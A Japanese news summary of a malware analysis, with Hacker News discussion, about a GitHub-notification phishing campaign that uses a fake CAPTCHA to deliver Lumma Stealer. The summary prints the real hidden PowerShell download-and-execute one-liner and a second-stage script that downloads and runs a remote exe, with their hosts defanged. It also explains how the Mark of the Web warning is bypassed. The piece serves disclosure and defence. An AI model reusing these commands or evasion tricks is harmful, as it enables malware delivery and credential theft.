1 ポイント 投稿者 GN⁺ 2024-09-20 | 1件のコメント | WhatsAppで共有
  • 攻撃者は公開リポジトリの正規の通知フローを利用し、リポジトリ所有者に GitHubが実際に送信したメール のように見える悪意あるメッセージを届けた
  • メール本文の大半を攻撃者が構成できるため、送信者とリンクだけを確認する方法では フィッシングかどうか を判断しにくい
  • リンクをクリックすると偽のCAPTCHAページが表示され、ユーザーにWindowsの「ファイル名を指定して実行」へPowerShellコマンドを貼り付けさせ、マルウェアのダウンロードを開始させる
  • ファイルはPowerShellの.NET System.Net.WebClient.DownloadFile で取得されるため Mark of the Web が付かず、Windowsの署名警告を回避できる
  • 最終ペイロードはVirusTotalで複数のアンチウイルス製品が LUMMASTEALER として検知したマルウェアに結び付いており、認証情報・暗号資産ウォレット・機密データを狙う stealer 系統である

GitHub通知メールを利用した攻撃フロー

  • 公開リポジトリの所有者は、GitHubからIssue、コメント、Pull Request などの活動通知メールを頻繁に受け取る
  • 攻撃者はこの正規の通知システムを次の手順で悪用する
    • 使い捨てのGitHubアカウント で公開リポジトリにIssueを作成する
    • Issueをすぐに削除する
    • リポジトリ所有者はGitHubから送られた通知メールを受け取る
    • 受信者がメール内のリンクをクリックすると悪意あるサイトへ移動する
    • 指示に従うとシステムがマルウェアに感染する
  • 実際のメール本文には、セキュリティ脆弱性が見つかったので github-scanner[.]com で詳しい情報を確認するよう促す内容が書かれており、「Github Security Team」を装っていた

メールがもっともらしく見えた理由

  • メールは GitHubが実際に送信した通知 であり、一般的なフィッシング点検の多くを通過してしまう
    • メール送信者はGitHubである
    • 本文中のリンクは表示された宛先へ遷移する
  • 攻撃者が制御していないメール領域だけでは実情を判断しにくい
    • 新しいIssueが作成されたことがメール内で十分に明示されていない
    • 攻撃者は本文テキストで望む文脈を作り出せる
  • GitHubの通知メールは、攻撃効果を下げるために次の改善が考えられる
    • どの操作によって送信されたメールなのか、より多くの 文脈 を提供する
    • 攻撃者が制御できるコンテンツの比率を減らす
    • メール送信者に関する明確さを改善する
  • 当該メールと懸念事項は実際にGitHub Securityへ共有された

偽CAPTCHAとPowerShell実行

  • メールのリンクをたどると、CAPTCHAのように見えるページが表示される
  • CAPTCHAで人間であることを証明させる要求は、Cloudflareのようなサービスの自動チャレンジがあるため、ユーザーにとってそれほど不自然ではない可能性がある
  • このページは一般的な画像選択式CAPTCHAではなく、Windowsの「ファイル名を指定して実行」を開いてコマンドを貼り付けるよう要求する
  • クリップボードに入る第1段階コマンドは、隠しPowerShellウィンドウを開いてリモートスクリプトを取得し実行する
powershell.exe -w hidden -Command "iex (iwr '[https://]2x[.]si/DR1.txt').Content" # "✅ ''I am not a robot - reCAPTCHA Verification ID: 93752"
  • iexInvoke-ExpressioniwrInvoke-WebRequest の別名である
  • Linuxで curl | bash を実行するのと同様の形で動作する
  • コマンド末尾のコメントは、Windowsの「ファイル名を指定して実行」の表示幅制限により前半を隠し、ユーザーにはCAPTCHA確認文言のように見せる役割を持つ

第2段階ダウンロードとWindows警告の回避

  • 取得したスクリプトは github-scanner[.]com/l6E.exe をダウンロードし、一時フォルダに SysSetup.exe として保存して実行する
$webClient = New-Object System.Net.WebClient
$url1 = "[https://]github-scanner[.]com/l6E.exe";
$filePath1 = "$env:TEMP\SysSetup.exe"
$webClient.DownloadFile($url1, $filePath1)
Start-Process -FilePath $env:TEMP\SysSetup.exe
  • 実行ファイルにはデジタル署名があったが、悪意あるバイナリの署名は有効ではなかった
  • 署名はSpotify由来のように見えたが、DigiCertとの協議後、盗難証明書ではなく 偽装された署名 と整理された
  • Windowsはインターネットから取得したファイルかどうかを Mark of the Web(MOTW) フラグで判断する
    • ブラウザなどはダウンロードファイルにこのフラグを設定できる
    • Officeのようなソフトウェアはこのフラグを見て挙動を変えることがある
  • ブラウザで同じ実行ファイルを取得すると、Windowsは無効な署名について警告を表示する
  • 被害者のフローでは、ブラウザではなくPowerShellの .NET Framework System.Net.WebClient.DownloadFile がファイルを取得する
    • このメソッドはダウンロードファイルにMOTWフラグを設定しない
    • WindowsはMOTWが付いている場合にのみ、無効なデジタル署名の実行警告を表示する
  • MOTWは容易に削除できるため、このフラグに依存する方式は安全ではない
  • 関連する2つのWindowsの弱点はMicrosoftに報告された

ローダー分析と最終ペイロード

  • 実行ファイルにはGhidraで .NET 関連の痕跡が見えたため、dotPeekで分析された
  • 中核となるフローはエントリポイントと PersonalActivation メソッドにある
    • エントリポイントはコンソールウィンドウを隠す
    • バックグラウンドスレッドで PersonalActivation を2回呼び出す
    • VirtualProtect でメモリ領域を実行可能としてマークする
    • CallWindowProcW で実行する
  • PersonalActivation は未使用のリストと2つのバイト配列を受け取る
    • 1つ目の配列はデータバッファに見える
    • 2つ目の配列は key と表示される
    • 多数の数学演算を行っており、ある種の復号ルーチンに見える
  • VirtualProtectCallWindowProcW の呼び出しをコメントアウトし、デバッガで復号バッファを確認した
    • 1つ目のバッファには CreateProcessA, VirtualAlloc, GetThreadContext, ReadProcessMemory, WriteProcessMemory, SetThreadContext, ResumeThread などが含まれていた
    • C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe パスも現れた
    • 2つ目のバッファは MZ, PE ヘッダーを持つWindows実行ファイル形式だった
  • ローダーは上部の大きなバイト配列に入っている「暗号化された」exeをメモリ上に展開し、実行可能にしてから実行する

Lumma Stealer検知と使用ツール

  • 最終段階は .NET ではないWindows exeであり、Ghidraの出力だけでは追加分析に限界があった
  • 2つのバイナリはVirusTotalですでに複数のアンチウイルス製品に検知されていた
  • 検知名には共通して LUMMASTEALER パターンが現れている
  • Lummaは「malware as a service」型のマルウェア運用の1つである
    • stealer コードは暗号資産ウォレット、保存された認証情報、機密データを探す
    • 収集データはコマンド&コントロール(C2)サーバーへ送信される
    • その後、金銭窃取やデータ販売につながる可能性がある
  • Lummaマルウェアは、従来型ランサムウェアのように被害者端末を暗号化する傾向はない
  • Lumma関連の追加資料として、Cyfirmaの Lumma Stealer tactics, impact, and defense strategies が推奨されている
  • 分析に使用されたツールは Windows Sandbox、Ghidra、dotPeek、HxD、Visual Studio である

1件のコメント

 
GN⁺ 2024-09-20
Hacker Newsの意見
  • こういう詐欺に本当に引っかかる人がいるのかと思ってしまう。
    まずスクリーンショットだけでは明確ではないが、投稿者がそのメールがGitHubから来たものだと分かっていたと仮定すると、最初の危険信号は、実際のドメインをもじった github-scanner.com に誘導される点。
    github-scanner.com が誰のものか分からないなら、もっともらしい本物のサイトに見えるという理由だけでも、詐欺だと考えるのが安全。
    巨大な危険信号は、CAPTCHAがシェルにコマンドを入力しろと言ってくる点で、これを実行するにはどれだけ無邪気でないといけないのか、これ以上言うことはない。

    • 結局は確率のゲーム
      誰も完璧ではなく、信頼させる要素が増えるほどコンバージョン率も上がる可能性が高い。
      視力がよくなかったり、時間に追われていたり、疲れて消耗している状態なら、本来だましにくい相手でもより簡単にだませる。
      大規模な自動化が可能なら、低いコンバージョン率でも多くのアカウント乗っ取りにつながる。
    • GitHubアカウントを作って最初の年だったら、自分も間違いなく引っかかっていたと思う。
      SSHキーを設定するのと大きく違って見えないし、新規ユーザーはGitHubが送ってくるコマンドをコピー&ペーストする流れを実際に経験する。
    • 数週間前、自分のリポジトリの1つに誰かがIssueを立て、1分もしないうちに2つのアカウントがファイル保管サービスへのリンクを貼って、問題解決用のソフトウェアをダウンロードして実行してみろと返信した。
      明らかにマルウェアだったはずで、すぐにコメントを削除してからGitHubにそのアカウントを報告した。
      自分ならあんな見え透いた手口には引っかからなかっただろうが、最初に質問した人はGitHub上の活動履歴と質問の質から見て、技術に詳しくなさそうだった。
      批判的に見ず、何でも早く試してみようという状態なら、引っかかる可能性はありそうだった。
    • 別ドメインから来るメールは残念ながらかなりよくある。
      CitiやPayPalも一部のメールでそれをやるので、毎回いらつく。
    • ILOVEYOUを覚えているくらい長く見てきたし、その後も間違ったものをクリックしないようユーザー教育に数百万、数千万ドルが費やされてきたのを見てきた。
      先月のあるカンファレンスでサイバーセキュリティ企業のCEOが基調講演をしたが、場合によってはいまだにユーザーの80%以上がメール詐欺に引っかかるので、もっと資金が必要だという内容だった。
      講演者に真剣に尋ねたのは、数百万ドルとほぼ25年を費やしても、80%を超えるユーザーがいまだに間違ったリンクをクリックするなら、私たちは何か根本的に間違っているのではないか、という点だった。
  • 最近PayPalから、もっとずっと本物らしいメールを受け取った。
    誰かが見積書を送ってきたのだが、おそらくリクエストなしでも使える機能のようで、会社名を「PayPalが最近の499.00ドルの決済について連絡する必要があるので +1-... に電話しろ」といった形に設定していた。
    そのため、PayPalの見積メールにある「$xxx の見積書をお送りします」という文言のせいで、その会社名が上部テキストの大半を占めていた。
    このメールは本物の PayPal.com から来ており、決済処理会社がこうしたユーザー名の問題をまだ防げていないのが理解できない。
    通報したが返答はなく、そのアカウントだけでなく、そういう名前全体を禁止すべきだ。
    フォーマットも本当に正規のPayPalメールのように見え、普通の人はこの詐欺にかなり引っかかると思う。
    メールが欲しければ、私のプロフィールのWebサイトから連絡してほしい。

    • 1年以上前に同じことを経験したので、通報しても特に何もなかったようだ。
    • 私も非常によく似たものを受け取ったが、正規のPayPalメールではあったものの、見積書ではなく請求書だった。
      PayPalにログインしてもWebサイトには何も表示されなかった。
    • PayPalがなぜメールで電話しろと言うのか、と思う。
      何か必要なら直接電話するか、メールに内容を書くか、ポータルに表示すべきだ。
    • 誰かが実際に確認したのなら驚きだ。
    • 「メールが本物のPayPalメールのように見えるようフォーマットされていた」というのが、まさにプレーンテキスト以外のメールを禁止すべき理由だ。
      セキュリティ上の理由もあるが、HTMLを5分でも触ったことがある人なら誰でも「本物っぽく見える」メールを作れる。
  • Win+R、CTRL+V
    CAPTCHA から罠につながる
    ジュニア開発者なら引っかかるかもしれないと思う。「GitHub だから正当なものだろう? うちで使っているライブラリのセキュリティ通知も2か月に1回くらい来るし」といった具合
    「おお、コードを実行して解く CAPTCHA なんて珍しいな!」と思うかもしれない
    Web ページがクリックだけでクリップボードを埋められるようにしてはいけないし、内容のプレビューが必要だと思う
    クリックのようなユーザー操作を要求すれば解決すると思ったのだろうが、それでもまだ弱すぎる。これが1つ目の問題
    人々はメール内のリンクをそのまま実行したり、メール本文に正当性があると信じたりするのをやめるべき。メール本文そのものには正当性はなく、これが2つ目の問題
    3つ目に、Windows はいまだに PowerShell の1行でマシンを root 権限レベルで掌握できるようにしているのか?
    GitHub も、自動化サービスとして、リモートで正当なコンテンツか確認していないリンクを Issue に入れられないようにすべきかもしれない
    それを人々のメールに送っているのだから、フィッシングに使われ得ることを知らないとは言わないでほしい。これは2015年基準でもサイバーセキュリティ入門レベルの話
    最後に GitHub が上の対策を取れないなら、人々に送るメールをもっと削り、銀行のように「このリポジトリに新しい Issue があります...」程度だけ送るべき
    そうすればユーザーが見に行った時点でメッセージはなく、それで終わっていたはず。GitHub はここではもう少し成熟する必要がありそう

    • 「ジュニア開発者が引っかかるかもしれない」という話については、ジュニアだけでなくあらゆる人がミスをし得ると思う。もともとそういうもの
      何が有害なのかを人々にきちんと訓練する必要があると思う
      Windows については、社員のうち少なくとも2人が Windows から離れられるようにしてほしいと頼んできた。全力を尽くすつもりだし、長いプロジェクトだが最終的にはやり遂げる
    • PowerShell の1行でマシンを掌握するという部分は、そのコマンドが管理者権限アカウントで実行されて初めて可能なこと
      「ファイル名を指定して実行」ダイアログのスクリーンショットにある盾アイコンは、管理者権限ユーザーで UAC が無効になっていることを明確に示している
      それなら Linux も curl malware.zyx/evilscript | bash の1行で root 権限を奪取できるようにしていると嘆く番だ
    • 非技術系ユーザーには**「ファイル名を指定して実行」ダイアログ**を無効にし始めているが、問題は GitHub 攻撃がその機能を実際に時々使う必要があるユーザーを狙っている点
      クリップボード戦略もブロックしやすいはず。詐欺師の大半は、電話で巧妙に偽装した URL を「ファイル名を指定して実行」ダイアログに直接入力するよう説得するだけ
    • この CAPTCHA はあまりにもひどいので、ブラウザに「Win+R、CTRL+V を押してください」と出たら、自動でクリップボードの内容を持って cmd.exe を実行するよう自動化して、サイトのコンテンツをより速く、中断なしで見られるようにしたい
      そう、私は10倍 Windows ユーザー
    • Windows で1行で root 権限レベルになれることを問題だと言うが、私はそれを長所だと思う
      私たちが Windows を「root」として扱えるのは、私たちが root だからで、具体的には Windows のインストールが最初に設定するユーザーアカウントを常に管理者アカウントにするから
      これは長所だ。自分が所有し使っているコンピュータでやりたいことができる
      ますますロックダウンされていく OS が、ユーザーにコンピュータを本当の意味で所有・管理させない時代に、Windows はただそれを許している
      どうかこの点だけは絶対に変わらないでほしい
  • 要するに、メール内のリンクをクリックするなということ
    github-scanner.com と github-scanner.shop はまだ同じ悪意ある主体なのか? そう見える
    DNS が Cloudflare にあるのが笑える。Cloudflare は「何もホスティングしていない」と言うことで有名だが、私たちをみんな馬鹿だと思っているようだ
    何の責任も負わない Cloudflare には、こうした悪用を報告する方法もなさそう
    マルウェアをホスティングしているドメイン 2x.si は、DNS も Cloudflare を使い、ホスティングも Cloudflare だ
    少なくともこれは Cloudflare に報告できるが、悪用報告フォームでは人間にレート制限をかけ、CAPTCHA まで要求する
    ため息しか出ない。Cloudflare のおかげで最近はフィッシングとマルウェアのホスティングがあまりにも簡単になった

    • Cloudflare は国家単位の DNS レジストラの95%よりも、悪用報告への対応がはるかに良い
      両方を相手にした経験からそう言える
    • どれほど効果的で迅速に対応するかは分からないが、マルウェアを報告する方法はある https://www.cloudflare.com/trust-hub/reporting-abuse/
      そのページには、選択する悪用の種類として Phishing & Malware が表示される
    • 「メール内のリンクをクリックするな」が間違っているわけではないが、この事例はむしろ「管理者権限で実行されると書かれたウィンドウにコードを貼り付けろというCAPTCHAに引っかかるな」と要約される気がする
      真面目なセキュリティ論評というより愚痴に近いが、フィッシングテストの失敗基準が「メール内の任意のリンクをクリックした」になっているのがいつも気になっていた
      実際には、フィッシングサイトに認証情報を入力したか、ファイルをダウンロードして開いたかのほうが本質ではないかと思う
      非技術系ユーザーには悪いリンクをそもそもクリックしないよう教えるほうが簡単で、ブラウザ脆弱性も存在するのは理解しているが、それでもどこか面倒に感じる
      こういう話は結局、ユーザーが認証情報を入力する、ブラウザに怪しい権限を与える、ファイルをダウンロードする、今回のようにコマンドを実行する、といった形で終わるケースを多く見てきた
      「リンクをクリックしたらブラウザの 0-day が発火して終わった」で終わる事例はほとんど見たことがない
      Web ブラウザは攻撃面が広いが、同時にインターネットを閲覧するために作られた道具でもある
      たいていの人は仕事や調査をしながら、リンクをかなり無造作にクリックする
      多層防御は必要だが、「絶対に悪性 Web サイトを訪問するな」を中核原則にするセキュリティポリシーは、かなり欠陥があるように見える
    • 新規アカウントのメールを確認するには、リンクを押さずにどうすればいいのかと思う
      むしろ Qubes OS を使い、リンクは使い捨て仮想マシンでだけ開き、それ以上の情報は入力しないという方法がある
      新規アカウントのメールアドレス確認メールを受け取るとき、私はだいたいそうしている
      リンクのクリックを常に避けられるわけではないのでは
  • 「攻撃者が Issue をすぐに削除する」という部分を見て、自分が作成した Issue を削除したことがないと気づいた
    でも、リポジトリで Issue を削除できるのは管理者権限を持つ人だけではないのか? https://docs.github.com/en/issues/tracking-your-work-with-issues/deleting-an-issue
    だとすれば、実際にはその Issue の痕跡がリポジトリに残っていて、プルリクエストも同じはず

    • おそらく GitHub がすでに悪性と判断して削除したが、メールはすでに配信済みだった可能性がある
    • リポジトリ所有者は、他人が作成した Issue のタイトルと本文も編集できる
  • メールが新しい Issue に対応していることを示すものがない、という主張は間違っている
    件名の「(Issue #1)」がまさにその意味だ
    私も同じメールを実際に受け取り、リポジトリに新しい Issue が作成されたものだとすぐに分かった
    このユーザーは、そのリポジトリで最初の Issue だという点からも明らかなように、GitHub Issues に慣れていないのは明白だ
    GitHub は新規ユーザーへの案内をもっと改善すべきだと思う

    • その通りだが、技術的な細部に十分詳しくないユーザーに、バグ報告用の GitHub アカウントを与える会社で働いたことがある
      こういう人たちは本当に簡単にだまされる
      技術者なら気づけるだろうが、だからといって GitHub がもっと改善しなくてよいという免罪符にはならない
  • 今朝こうした通知の一つを受け取り、すぐに無視した
    笑えたのは、対象がまさにこのリポジトリだったことだ: https://github.com/kyledrake/theftcoinjs

  • 読む価値のある記事だ。攻撃者が何をしようとしているのかが分かる
    リンクを見ただけでも疑うのは簡単だが、誰かが掘り下げていく過程を見るのは面白い

  • 今朝 GitHub リポジトリにバグを投稿したところ、1分もしないうちに誰かがだいたいこんな返信を付けてきた
    「これを試してみてください。問題を修正できると思います。コンパイラが必要なら GCC をインストールしてください」
    続いて、MediaFire の zip ファイルにリダイレクトされる Bitly リンクとパスワードが付いていた
    GitHub は私の悪用報告を1時間以内に処理し、そのユーザーの投稿をすべて削除した

  • なんてことだ、自分も似たような GitHub 通知メールを受け取っていた
    リポジトリで脆弱性が検出されたという内容だったが、このニュースを見るまで偽物だとは思っていなかった
    それでも怠惰なプログラマーなのでクリックはしなかった。一度書いたらそれで終わりで、コードを書き直すことはあっても、自分のコードのバグを探して直したりはしない

    • GitHub セキュリティ通知の概要は実際に存在する https://docs.github.com/en/code-security/dependabot/dependabot-alerts/about-dependabot-alerts
      GitHub がプロジェクトの依存関係にあるセキュリティ脆弱性を知らせる機能だ
      たとえば Python を使っていて requirements.txtrequests ライブラリを明記している場合、GitHub はそのライブラリで公開されている脆弱性をメールで知らせ、修正済みの上位バージョンへ上げるよう勧める